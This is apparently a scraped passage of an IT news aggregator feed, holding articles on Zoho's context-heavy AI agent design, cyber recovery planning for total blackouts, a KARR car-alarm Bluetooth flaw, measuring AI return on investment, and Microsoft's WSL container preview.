<p class="wp-block-paragraph">To get it right, organizations need to prioritize the context layer. The size of frontier models like the GPT series, Claude, and Gemini mostly exist to compensate for missing context, Thakrar explained. Without enough context, models need to be able to reason harder and infer more about what a user actually means because it doesn’t know the user’s account, process, or history. A rich context layer makes it possible for enterprises to run workloads on much smaller, lower-power models.</p>



<p class="wp-block-paragraph">“The intelligence moves from the model into the architecture around it,” he said.</p>



<h2 class="wp-block-heading">A steep learning curve</h2>



<p class="wp-block-paragraph">One of Zoho’s earliest AI agents was a churn management agent to help the account management team detect churn in customer subscriptions. So when a subscription became inactive, the agent would collect context from notes, meeting recordings, and Zoho’s data enrichment tool, then create a summary of reasons the account might have churned, and schedule a call.</p>



<p class="wp-block-paragraph">“What happened was I got this churn agent a couple months later, already embedded in our CRM, and within a week my team no longer trusted that agent,” Thakrar said. “The reason is we forgot to collect one very key point.”</p>



<p class="wp-block-paragraph">In Zoho’s CRM, when a customer buys a bundle of products, that bundle is represented as a single line item. That means the status of any products the customer may have previously purchased individually changes to inactive as they’re moved to the bundle. That’s not churn, but it was interpreted it that way. Zoho fixed it in the second version of the agent.</p>



<p class="wp-block-paragraph">Then a new problem arose. Many potential customers first purchase Zoho products as pilots or sandboxes. As those customers move from pilot to live instance, they close down the pilot versions. And again, the CRM would record that as subscriptions going inactive.</p>



<p class="wp-block-paragraph">“The trust deteriorates again because everyone got excited for version 2,” Thakrar said.</p>



<p class="wp-block-paragraph">Sometimes, a certain product might not be the best fit for a customer and Thakrar’s team will suggest the customer move to another product. That’s deliberate churn, not a churn risk.</p>



<p class="wp-block-paragraph">“You may have a similar story like this where the agent sounds so good, it’s going to do something quick and add value, but it’s missing context from the account managers, and there are so many more pieces we’re still building out,” Thakrar said. “It’s been almost a year and the problem I have is my team still doesn’t trust it. They’ll see [a message from the agent] and go out and do all the research anyway to make sure it gave the correct answer.”</p>



<p class="wp-block-paragraph">The team is more on top of potential churn, though, but the promised productivity gains have yet to materialize because the agent has to earn back lost trust due to a lack of context.</p>



<p class="wp-block-paragraph">“My goal for this year is having an AI-assisted customer journey from sales to account management where the handoff is clean, the context flows, and every piece of information we gather about a customer is weighed, identified, and coached so the sales team can close more deals,” he said.</p>



<p class="wp-block-paragraph">Zoho’s early experience with agents has led to the idea that constrained, context-rich, deterministic architectures consistently outperform expensive models bolted onto fragmented systems. It all comes down to three pillars: routing, harness, and specialization.</p>



<h3 class="wp-block-heading">Routing</h3>



<p class="wp-block-paragraph">Routing is about sending workloads to the proper model for the job, which entails providing enough context to a given task that a small, cheap model can handle it without the need for spare reasoning capacity to fill gaps.</p>



<p class="wp-block-paragraph">Frontier models are expensive and companies can burn through a year’s budget worth of tokens in months. But most tasks can be handled by much smaller, more constrained models at a fraction of the cost.</p>



<p class="wp-block-paragraph">“You don’t always have to pay the frontier guys for every task,” he said. “We’ve observed with some clients that we could save them 95% with a 3 billion parameter model.”</p>



<h3 class="wp-block-heading">Harness</h3>



<p class="wp-block-paragraph">An AI agent harness is the software infrastructure scaffolding around an LLM that differentiates an agent from a chatbot. It’s what enables an agent to act on tasks rather than simply respond to prompts. A model reasons through a problem and decides what to do about it. The harness connects the model to the tools, systems, memory, guardrails, and execution environments required to perform the actions determined by the model. The term is frequently used more or less interchangeably with orchestration layer.</p>



<p class="wp-block-paragraph">“It’s the process around the model, which matters way more than the model itself,” Thakrar said.</p>



<p class="wp-block-paragraph">In benchmark tests, a superior harness on a less powerful model produces better results than an inferior harness on a much bigger model.</p>



<p class="wp-block-paragraph">For the best results, Thakrar said, it’s essential to understand the deterministic and non-deterministic elements of a given workload, and build that into the architecture. Machines can read, organize, and validate, and they excel at deterministic tasks. Humans, on the other hand, are exceptional at non-deterministic tasks like judging, synthesizing, and deciding.</p>



<p class="wp-block-paragraph">Those non-deterministic tasks in a process are the ideal point for AI agents to incorporate a human in the loop, what Thakrar calls human harness. He pointed to a stakeholder mapping agent Zoho built for sales as an example, which takes the context of an initial meeting and third-party enriched data like a LinkedIn profile, weighs probabilities, and makes an educated guess about the stakeholder map.</p>



<p class="wp-block-paragraph">“The initial goal was just to eliminate that task completely from the human workflow,” he said. “The stakeholder map is done, it’s in the folder, and you can look at it.”</p>



<p class="wp-block-paragraph">But the agent would struggle to capture nuance. The meanings of titles in organizations always vary, and the politics and dynamics of any given meeting can be difficult for an AI agent to discern. Rather than keep feeding the agent data to try to make it intelligent enough to make those determinations, it was simpler and more efficient for the agent to create a proposed stakeholder map and hand it over to a human who could make changes and explain why those changes were necessary.</p>



<p class="wp-block-paragraph">Ultimately, Thakrar said the agent still saved human team members time because the stakeholder map was usually pretty close, and the corrections also helped the model grow smarter by adding richer context.</p>



<h3 class="wp-block-heading">Specialization</h3>



<p class="wp-block-paragraph">Specialization is transitioning a process from testing on a frontier model to production on a much narrower, smaller model. Once you’ve proven that an agent can do a job well, you want to stop paying master-craftsman rates to keep doing that one job well.</p>



<p class="wp-block-paragraph">Specialization is all about capturing your subject matter experts’ best judgement and pattern recognition to build an open-weight, open source, trained, and fine-tuned model that can be deployed in your own data center.</p>



<p class="wp-block-paragraph">“The true enterprise bet is to keep that orchestration layer, which is your IP and knowledge, in house,” Thakrar said. “You don’t want to host that on someone else’s model. The goal of everyone in enterprise should be to run, train, and host their own models.”</p>
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<title><![CDATA[Principles every enterprise must test before the attack arrives]]></title>
<description><![CDATA[I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.



Imagine this: A major global enterprise, a company mos...]]></description>
<link>https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688625/it-nachrichten/principles-every-enterprise-must-test-before-the-attack-arrives/</guid>
<pubDate>Thu, 23 Jul 2026 12:04:32 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">I haven’t slept much in the past few weeks. Not because of some theoretical cyber risk that keeps many executives awake, but because reality just delivered a real wake-up call to our industry — a call that every executive must answer, now.</p>



<p class="wp-block-paragraph">Imagine this: A major global enterprise, a company most of us interact with indirectly every single day, wakes up to find its entire digital environment obliterated. Thousands of employees in dozens of offices and remote locations are suddenly offline. Customers are cut off, supply chains grind to a halt and regulators are notified with a chilling admission: “We have no idea when we’ll be back.”</p>



<p class="wp-block-paragraph">This wasn’t ransomware. There was no negotiation, no decryption key to buy, no easy way out. It was destruction — deliberate, coordinated and geopolitically motivated — not monetary.</p>



<p class="wp-block-paragraph">As a chief customer officer who’s worked with countless customers on cyberattack risks, my perspective hits a bit differently than a CISO or a CTO. I see the aftermath, not just the attack surface. I see the faces behind the tickets, the operations team locked out of their own systems, the support agent answering panicked calls at dawn. And I ask: How many organizations have actually stress-tested their response to this scenario — not a hypothetical, but this very real, lights-out event? Here’s what every leader needs to confront today:</p>



<h2 class="wp-block-heading">Recovery is not just a technical exercise</h2>



<p class="wp-block-paragraph">The first assumption to break during a real crisis is <a href="https://www.cio.com/article/4165019/your-cloud-strategy-is-incomplete-without-a-cyber-recovery-plan.html">the belief that recovery is purely technical</a>.</p>



<p class="wp-block-paragraph">Many organizations have done tabletop exercises and have a backup and recovery playbook, so they feel prepared. They can <a>point to</a> backup windows, retention schedules and immutability controls. The moment a true blackout happens, a different reality surfaces. The people who own the recovery steps either do not know each other, lack the authority to make decisions without supervisor approval or need guidance from offline systems.</p>



<p class="wp-block-paragraph">The reality is that technical infrastructure almost always holds up better than human infrastructure. Organizations have built their recovery strategy around the assumption that someone competent will be awake, available and empowered when a cyber event happens.</p>



<p class="wp-block-paragraph">Still, backups are only as good as their independence. Let’s be blunt: If your recovery infrastructure shares identity, authentication or network trust with your Microsoft tenant (such as Azure, Microsoft 365 or Teams), you don’t actually have a recovery plan; you have a false sense of one — and a liability. A <a href="https://www.veeam.com/company/press-release/veeam-report-reveals-a-market-wide-shift-from-recovery-confidence-to-proven-data-resilience-amid-ransomware-threats-and-ai-adoption.html">recent survey</a> found that while 90% of organizations express confidence in their ability to recover from a cyber incident, fewer than one in three ransomware victims fully recovered their data.</p>



<p class="wp-block-paragraph">True resilience means immutable, air-gapped backups, untouchable by the same compromise. Anything less is an illusion. I talk to customers about their recovery plans constantly. The customers who have rehearsed all scenarios sleep soundly. Those who haven’t? They’re rolling the dice.</p>



<h2 class="wp-block-heading">Most business continuity plans ignore ‘total blackout’</h2>



<p class="wp-block-paragraph">I’ve reviewed hundreds of business continuity plans. Almost all assume partial failures — a region, an application, a data center. But what if every system, in every country, goes dark simultaneously? That’s an entirely different playbook. If your team hasn’t run a drill for a global, simultaneous outage, you’re not prepared. The probability is low, but the cost of being unready is existential.</p>



<p class="wp-block-paragraph">Connected devices, OT systems, field hardware, partner integrations — they all plug into your enterprise network. When the core collapses, it’s not just IT at risk. It’s operational technology, physical safety systems and in regulated sectors, potentially human lives. Understanding and testing those interdependencies is non-negotiable.</p>



<p class="wp-block-paragraph">This is also where boards need to change the conversation. A <a href="https://www.diligent.com/resources/research/cybersecurity-audit">study found</a> that only 5% of companies have cybersecurity experts on their board of directors. Recovery time objectives (RTOs) should not be buried in technical appendices. It’s all jargon to boards. That makes translation essential. RTOs must be explained in terms of business impact. “We can recover in four hours” is a technical statement. “Every hour of downtime costs us $2.3M and creates regulatory exposure in three jurisdictions” is a board statement.</p>



<p class="wp-block-paragraph">That is the level of clarity leaders need.</p>



<p class="wp-block-paragraph">The most prepared organizations do not wait for an incident to educate the board. They bring the conversation forward proactively. They frame recovery in business terms: revenue, regulatory standing, customer trust and brand reputation.</p>



<p class="wp-block-paragraph">The most effective framing is often simple. Show the most critical systems. Show what happens if each one is down for one hour, four hours, 24 hours and 72 hours. Show the current recovery capability against each and then show the gap.</p>



<p class="wp-block-paragraph">If your board is not demanding real answers, your business continuity strategy is likely underfunded and your business is exposed. This is a risk conversation worth forcing because the consequences do not stay inside IT. They can show up in customer churn or missed revenue and ruin an organization’s reputation.</p>



<h2 class="wp-block-heading">Threat intelligence must be actionable, not archived</h2>



<p class="wp-block-paragraph">Geopolitical attacks, hacktivist campaigns and nation-state targeting aren’t abstract threats. They are active risks, and that intelligence cannot languish in the security team’s inbox. Executive leadership must be looped in — and immediately — so gaps can be closed before they’re exploited. Too often, intelligence enters the security operations function and never reaches the teams responsible for recovery infrastructure or executive decision-making.</p>



<p class="wp-block-paragraph">If a threat actor is targeting a specific class of backup agents, the team responsible for those agents needs to know now, not two weeks from now. If intelligence suggests destructive activity against a sector, recovery owners need to validate isolation, access paths and restoration procedures immediately. If geopolitical tension increases the likelihood of targeting, executive leadership needs to understand what exposure exists and what actions are being taken. The organizations that survive aren’t just the best at incident response. They’re the ones who anticipated, rehearsed and invested <em>before</em> the attack.</p>



<p class="wp-block-paragraph">Part of investing in a recovery strategy requires closing the loop between signal and action. The most prepared organizations have already mapped their critical recovery dependencies to specific threat categories. When intelligence touches one of those categories, there is a named owner and a clear set of actions. No guessing or forwarding emails into the void is needed because the distance between the warning and the employees’ ability to do something is shortened.</p>



<p class="wp-block-paragraph">Looking ahead, the conversation will continue to evolve beyond traditional cyber response. Because in an AI-enabled enterprise, the new question is whether the data within those systems can still be trusted. When AI systems make decisions based on enterprise data, the attack surface becomes the data’s accuracy. A threat actor who quietly corrupts a dataset over 90 days before a recovery event has done more damage than just downtime. They can poison the inputs driving decisions across the business.</p>



<p class="wp-block-paragraph">Regardless of how AI will change threat intelligence and cyber response, these principles remain the same. Know your problem, whether structural or technological. Ensure your human infrastructure keeps pace with your technical infrastructure, with clear cross-functional ownership and the tools and knowledge to act autonomously. Communicate with your boards often — and correctly.</p>



<p class="wp-block-paragraph">Let’s not wait for the next headline to ask, “Are we ready?” Have those conversations <em>now</em>. Test your assumptions. Close your gaps. Because in today’s threat landscape, resilience isn’t IT’s job — it’s everyone’s mandate.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
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<title><![CDATA[KARR Bluetooth Vulnerability Lets Nearby Attackers Unlock and Immobilize Over 2 Million Cars]]></title>
<description><![CDATA[A critical Bluetooth vulnerability in dealer-installed KARR Security Systems is putting over 2 million vehicles at risk of unauthorized access and immobilization. This situation has prompted urgent calls for drivers to update affected devices. Researchers at the University of California,…
Read mo...]]></description>
<link>https://tsecurity.de/de/3688576/it-security-nachrichten/karr-bluetooth-vulnerability-lets-nearby-attackers-unlock-and-immobilize-over-2-million-cars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688576/it-security-nachrichten/karr-bluetooth-vulnerability-lets-nearby-attackers-unlock-and-immobilize-over-2-million-cars/</guid>
<pubDate>Thu, 23 Jul 2026 11:51:56 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A critical Bluetooth vulnerability in dealer-installed KARR Security Systems is putting over 2 million vehicles at risk of unauthorized access and immobilization. This situation has prompted urgent calls for drivers to update affected devices. Researchers at the University of California,…</p>
<p class="more-link-p"><a class="more-link" href="https://www.itsecuritynews.info/karr-bluetooth-vulnerability-lets-nearby-attackers-unlock-and-immobilize-over-2-million-cars/">Read more →</a></p>
<p>The post <a href="https://www.itsecuritynews.info/karr-bluetooth-vulnerability-lets-nearby-attackers-unlock-and-immobilize-over-2-million-cars/">KARR Bluetooth Vulnerability Lets Nearby Attackers Unlock and Immobilize Over 2 Million Cars</a> appeared first on <a href="https://www.itsecuritynews.info/">IT Security News</a>.</p>]]></content:encoded>
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<title><![CDATA[KARR Bluetooth Vulnerability Lets Nearby Attackers Unlock and Immobilize Over 2 Million Cars]]></title>
<description><![CDATA[A critical Bluetooth vulnerability in dealer-installed KARR Security Systems is putting over 2 million vehicles at risk of unauthorized access and immobilization. This situation has prompted urgent calls for drivers to update affected devices. Researchers at the University of California, San Dieg...]]></description>
<link>https://tsecurity.de/de/3688530/it-security-nachrichten/karr-bluetooth-vulnerability-lets-nearby-attackers-unlock-and-immobilize-over-2-million-cars/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688530/it-security-nachrichten/karr-bluetooth-vulnerability-lets-nearby-attackers-unlock-and-immobilize-over-2-million-cars/</guid>
<pubDate>Thu, 23 Jul 2026 11:29:32 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>A critical Bluetooth vulnerability in dealer-installed KARR Security Systems is putting over 2 million vehicles at risk of unauthorized access and immobilization. This situation has prompted urgent calls for drivers to update affected devices. Researchers at the University of California, San Diego, revealed that the flaw allows attackers within Bluetooth range to issue commands such […]</p>
<p>The post <a href="https://gbhackers.com/karr-bluetooth-vulnerability/">KARR Bluetooth Vulnerability Lets Nearby Attackers Unlock and Immobilize Over 2 Million Cars</a> appeared first on <a href="https://gbhackers.com/">GBHackers Security | #1 Globally Trusted Cyber Security News Platform</a>.</p>]]></content:encoded>
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<title><![CDATA[Determining the ROI of AI requires data that most companies lack]]></title>
<description><![CDATA[Leadership wants to scale AI. Budgets are tripling. Adoption is up.



Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?



Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data t...]]></description>
<link>https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688477/ai-nachrichten/determining-the-roi-of-ai-requires-data-that-most-companies-lack/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:22 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Leadership wants to scale AI. Budgets are tripling. Adoption is up.</p>



<p class="wp-block-paragraph">Then the CFO asks the question every board now asks: which of these initiatives is actually profitable?</p>



<p class="wp-block-paragraph">Most organizations cannot answer that question, not because they lack visibility into cost, but because the cost data they have was never designed to produce that answer.</p>



<p class="wp-block-paragraph">Applying lessons learned from <a href="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html" data-type="link" data-id="https://www.infoworld.com/article/4147766/cloud-at-20-cost-complexity-and-control.html">managing cloud spend</a> won’t be a fix for the AI and ROI quandary. True, cloud taught a generation of CFOs that billing without business context is noise. So to get <a href="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html" data-type="link" data-id="https://www.infoworld.com/article/4061122/cloud-computing-has-an-roi-problem.html">cloud ROI</a>, they stitched two data sources together: cost data plus business data. AWS reveals which account, which region, which tag, which resource. Merge in customer and product mappings on top and the ROI of the cloud spend comes into focus.</p>



<p class="wp-block-paragraph">But AI is harder. It requires three data sources: cost, business, and telemetry—the automatic collection of data from disparate sources that helps to clarify the whole picture of what happened and why. An executive or engineering lead can have AI invoices and customer revenue. But they have no way to connect them to business value. The token count on the OpenAI invoice does not specify which customer triggered which call, which feature it served, or whether the prompt produced a business outcome. That data does not exist in the provider’s billing.</p>



<h2 class="wp-block-heading">AI providers won’t fix this problem</h2>



<p class="wp-block-paragraph">The situation is not likely to change anytime soon because AI providers are not in the business of attributing an enterprise’s costs to that enterprise’s customers. Instead, AI providers are in the business of selling tokens. The granularity they expose is the granularity their billing systems require, not the granularity a CFO requires.</p>



<p class="wp-block-paragraph">Not convinced? Compare what AWS gives you to what an AI provider gives you.</p>



<p class="wp-block-paragraph">AWS billing exposes resource IDs, account hierarchies, region, SKU, tag metadata, usage by the minute. Every dollar can be attributed to a workload, a team, a customer segment if it was tagged correctly. The data is rich enough that mature FinOps teams built unit economics on top of it years ago.</p>



<p class="wp-block-paragraph">An AI provider invoice gives you tokens consumed by model, with optional grouping by API key. That is the resolution. No request-level attribution. No customer ID. No feature mapping. No prompt outcome. No retry identification. Multi-step agent workflows collapse into a token count. Imagine a large bank receives a multi-million dollar AI invoice each month. But it has no visibility into what parts of the business were responsible for what parts of the cost so cannot allocate them.</p>



<p class="wp-block-paragraph">If an enterprise wants to know what AI cost drove which customer or feature, it has to capture that data itself, inside an application, before the call leaves it. </p>



<h2 class="wp-block-heading">Three required sources</h2>



<p class="wp-block-paragraph">Building AI ROI measurement requires three data sources, stitched together in a single model.</p>



<ol class="wp-block-list">
<li><strong>Cost data, normalized across providers.</strong> Every AI provider delivers cost differently. OpenAI invoices in one taxonomy, Anthropic in another, fine-tuning vendors and inference platforms each in their own. Cloud GPU costs sit in AWS or Azure billing. Vector database costs land in Pinecone or Snowflake invoices. None interoperate by default. Normalization is necessary but not sufficient. It will put all your AI costs in one schema. It does not tell you what they produced.</li>



<li><strong>Application-layer telemetry. </strong>This is the source most organizations are missing, and the one that makes AI ROI structurally different from cloud ROI. It requires instrumenting AI calls inside your application across six categories: request-level tracing tied to a customer or session ID; feature attribution tied to the product surface that triggered the call; agent-step capture for multi-step workflows; retry and fallback identification so recovery costs don’t get attributed to primary calls; model selection logging that records which model was chosen and why; and outcome capture that ties each call to whether it produced business value. None of this data exists in the provider’s billing. All of it has to be captured at the moment the call is made and stored in a system that can be stitched to the cost data.</li>



<li><strong>Business data. </strong>Revenue, customer segments, product hierarchies, and feature usage. The same business data already feeding your CRM and analytics stack, mapped to the customers and features the telemetry layer attributes calls to.</li>
</ol>



<p class="wp-block-paragraph">Stitched together, the three sources produce the unit economics every AI investment decision now requires: cost per customer interaction, margin per feature, profitability per agent workflow, ROI per model choice. None of these can be calculated from billing data alone. None can be calculated from telemetry alone. They require all three sources, modeled together in a way that maps cost to outcome.</p>



<h2 class="wp-block-heading">Why agentic AI makes this urgent</h2>



<p class="wp-block-paragraph">Single-call inference is the easy case. One request, one cost, one customer, one outcome.</p>



<p class="wp-block-paragraph">Agentic workflows are different. An agent decomposes a task into multiple steps. Each step calls a model. Some steps fall back to a different model when the first fails. Some steps retry on a poor result. Some steps invoke external tools that themselves cost money. A single user request can produce dozens of inference calls across multiple providers, with the cost compounding in ways the provider invoice cannot disaggregate.</p>



<p class="wp-block-paragraph">If telemetry does not capture agent-step granularity, no one will know which steps are profitable. Aggregate costs will show up three weeks later in the invoice. By then, the workflow has been running at scale, customers are onboarded, and unprofitable paths have been retried thousands of times.</p>



<p class="wp-block-paragraph">When agents make the calls, the volume of cost-generating events without business context attached grows by an order of magnitude. The window for instrumenting this before it becomes unmanageable is closing.</p>



<h2 class="wp-block-heading">What changes when the three sources come together</h2>



<p class="wp-block-paragraph">Once the three sources are stitched together, the AI investment conversation changes.</p>



<p class="wp-block-paragraph">Five different ways to build the same AI capability stop looking equivalent. They converge on adoption metrics and diverge by 10x on cost. The team picks the approach that delivers a similar business outcome at one-fifth the cost, because the team can finally see the difference. Product teams design features with margin awareness from the architecture phase, not from the post-launch budget review. Engineering teams choose model architectures with cost-per-outcome data alongside latency and quality. Leadership evaluates AI initiatives the way they evaluate any other capital allocation: on unit economics, not on the engagement chart. Aggregated invoices track the cost per customer interaction. Engagement metrics reveal margin per feature. Gut-instinct model selection is checked against real cost-per-outcome model selection results. </p>



<p class="wp-block-paragraph">Within seconds, everyone can see which AI features are profitable, which should scale, and which should be killed. This is the insight everyone is looking for and companies that achieve it will optimize the benefits of AI.</p>



<h2 class="wp-block-heading">The build trap</h2>



<p class="wp-block-paragraph">AI costs are compounding now. The board is not waiting 18 months for an internal project to reach production.</p>



<p class="wp-block-paragraph">The temptation to build it anyway has never been sharper. AI coding tools have changed what a small engineering team can ship in a quarter. The instrumentation layer looks tractable. The cost normalization looks like a weekend project. The semantic model feels like something a senior engineer could draft over a sprint.</p>



<p class="wp-block-paragraph">It is a trap. Three reasons.</p>



<p class="wp-block-paragraph">Volume is the first. A production AI footprint generates millions of telemetry events per hour, and that volume scales with agentic adoption. Real-time ingestion, correlation, and attribution at that scale is not the same problem as <a href="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html" data-type="link" data-id="https://www.infoworld.com/article/4078884/what-is-vibe-coding-ai-writes-the-code-so-developers-can-think-big.html">vibe coding</a> a prototype in an afternoon. It is a permanent operational system that has to be right every minute of every day.</p>



<p class="wp-block-paragraph">The vendor landscape is the second. Cost data arrives in delayed billing windows from providers with non-interoperable schemas. Schemas change without notice. New AI providers enter the landscape monthly, each with its own taxonomy and metering. The system is not built once. It is maintained against a moving target that moves faster than most internal release cycles.</p>



<p class="wp-block-paragraph">The third is what the first two add up to: this is business-critical infrastructure. The CFO and the board are going to make capital allocation decisions on the data this system produces. When schema drift goes unnoticed for two weeks, when an agent telemetry stream stops correlating to a vendor that quietly changed its billing API, the cost of being wrong is not a sprint of cleanup. It is a quarter of misallocated capital.</p>



<p class="wp-block-paragraph">The build-vs.-buy question for engineering leaders has changed. It’s not “can we build this?” The honest answer is yes. The real question is whether the marginal hour of your strongest engineers is best spent stitching cost data to telemetry to business outcomes, or building the AI products that produce the revenue the cost data is measuring.</p>



<p class="wp-block-paragraph">The capability is reproducible in weeks. The choice is whether to spend the next 18 months building it, or the next 18 months acting on it.</p>



<p class="wp-block-paragraph"><em>—</em></p>



<p class="wp-block-paragraph"><a href="https://www.infoworld.com/blogs/new-tech-forum"><strong><em>New Tech Forum</em></strong></a><em><strong> provides a venue for technology leaders—including vendors and other outside contributors—to explore and discuss emerging enterprise technology in unprecedented depth and breadth. The selection is subjective, based on our pick of the technologies we believe to be important and of greatest interest to InfoWorld readers. InfoWorld does not accept marketing collateral for publication and reserves the right to edit all contributed content. Send all </strong></em><em><strong>inquiries to </strong></em><a href="mailto:doug_dineley@foundryco.com"><strong><em>doug_dineley@foundryco.com</em></strong></a><em><strong>.</strong></em></p>
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<title><![CDATA[WSL container: A quiet revolution for Windows development]]></title>
<description><![CDATA[Running containers on Windows has never been as easy as it should be. While there are versions of Docker Desktop and Podman that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has ...]]></description>
<link>https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3688476/ai-nachrichten/wsl-container-a-quiet-revolution-for-windows-development/</guid>
<pubDate>Thu, 23 Jul 2026 11:07:20 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Running containers on Windows has never been as easy as it should be. While there are versions of <a href="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html" data-type="link" data-id="https://www.infoworld.com/article/2257241/why-you-should-use-docker-and-oci-containers.html">Docker Desktop</a> and <a href="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html" data-type="link" data-id="https://www.infoworld.com/article/2335683/what-is-podman-and-will-it-replace-docker.html">Podman</a> that work with both the Windows Subsystem for Linux (WSL) and Hyper-V, I’ve found both overly complex and unstable. Where they have worked, it’s turned out that Hyper-V has been the best option, using a Linux virtual machine to host my containers. That all adds up to overhead, layers of virtual infrastructure that get in the way of work and that need to be rebuilt every time I restart my PC.</p>



<p class="wp-block-paragraph">Part of the problem is WSL. It’s a good tool, but WSL2’s file-system integration is slow, and you’re left having to work with code using Visual Studio Code’s remote integration, which means putting a <a href="https://code.visualstudio.com/docs/remote/vscode-server" data-type="link" data-id="https://code.visualstudio.com/docs/remote/vscode-server">VS Code Server</a> in every container you’re building and testing. If you’re working with <a href="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html" data-type="link" data-id="https://www.infoworld.com/article/2266945/what-is-kubernetes-scalable-cloud-native-applications.html">Kubernetes</a>, that’s even more complexity that needs to be managed, dragging you away from code.</p>



<p class="wp-block-paragraph">I ended up running most of my container testing and development from a separate machine, a Linux server running containerd. But though it worked (and had all the resources of workstation-class device), it wasn’t portable, and for some reason I’ve yet to uncover, Ubuntu’s remote desktop access doesn’t work for me.</p>



<p class="wp-block-paragraph">So, it was good to see Microsoft make several announcements around WSL at <a href="https://news.microsoft.com/build-2026/">Build 2026</a> as part of <a href="https://www.infoworld.com/article/4188967/making-windows-a-developer-platform-again.html">a push to make Windows a developer platform again</a>. The first, an improved WSL3, is still some way away, but the second, <a href="https://devblogs.microsoft.com/commandline/wsl-container-is-now-available-for-public-preview/">WSL-native container support</a>, shipped at the end of June. It is already seeing community-driven development of Docker Desktop-like tooling to help monitor and manage your containers.</p>



<p class="wp-block-paragraph">Delivering a WSL-based container platform fits in with the other developer-focused Windows announcements at Build. Making Windows behave more like Linux is Microsoft responding to developer needs, given that more than 50% of servers on Azure run a Linux distribution. Linux is the basis of cloud-native infrastructure, so developers need to be able to build on it wherever they are.</p>



<h2 class="wp-block-heading">Getting started with WSL container</h2>



<p class="wp-block-paragraph">WSL container provides a new CLI that works in parallel to the familiar WSL, with commands to support the entire container life cycle, from creation to shut down. All you need to do to get started is upgrade your WSL installation to the current pre-release build (at the time of writing this was 2.9.3). Simply open an administrator PowerShell terminal and enter <code>wsl --update --pre-release</code>.</p>



<p class="wp-block-paragraph">This downloads and installs the latest WSL release. Once you’ve closed and re-opened your terminal (to ensure that you’ve updated its context) you can check that WSLC has installed by entering <code>wslc</code>, which should <a href="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers" data-type="link" data-id="https://learn.microsoft.com/en-us/windows/wsl/tutorials/wsl-containers">list the available commands</a>. The new CLI is aliased to WSL container, if you prefer to keep your container work separate from WSL (and avoid typos that might accidentally affect your WSL installations).</p>



<p class="wp-block-paragraph">Under the hood Microsoft is using WSL container to trial new integration points for Linux in Windows. One key change is the use of a new file system that significantly speeds up access to Windows from inside a container. Another improvement gives WSL container a new networking mode that relays networking connections directly through the Windows network stack, ensuring it has access to the same resources and security as Windows.</p>



<h2 class="wp-block-heading">Calling Linux containers from Windows applications</h2>



<p class="wp-block-paragraph">Things get more interesting when you start to use the <a href="https://wsl.dev/api-reference/">WSL container API</a> from inside your Windows code. Here you can include calls to Linux containers inside your desktop applications, taking advantage of existing services, building and deploying containers from inside your CI/CD pipeline. Using the new file system and networking stack helps reduce the friction that comes with crossing the boundaries between the two platforms.</p>



<p class="wp-block-paragraph">The WSL container API is available as a NuGet package, with support for C, C#, and C++. It allows your code to start and stop containers, and interact directly with them, sending command-line calls and reading back responses. Where things get interesting is being able to launch a containerized service from your code, exposing its REST or gRPC APIs on a local network port. Microsoft has provided <a href="https://github.com/microsoft/WSL/tree/master/doc/samples">sample code</a> to show you what’s possible at this early stage.</p>



<p class="wp-block-paragraph">Microsoft is doing something revolutionary here. It’s taking the cloud-native, service-driven model and bringing it into Windows and using it to bridge decades of divergent development. You no longer have to rewrite a service that works on Linux to run in Windows; all you need to do is containerize the service and launch it from the WSL container API. When you’re done, the API will tidy up after you, shutting down the container and reclaiming the memory it used.</p>



<p class="wp-block-paragraph">It’s important to remember that this is only the first public preview of a rapidly developing platform. There are many opportunities here to, say, build on the syscall translation layer developed for WSL1 to produce a native Windows-to-Linux application integration stack that removes the overhead of using web-based service calls. It will be interesting to see what develops, but this first release is very interesting indeed.</p>



<h2 class="wp-block-heading">Manage Linux containers from Windows</h2>



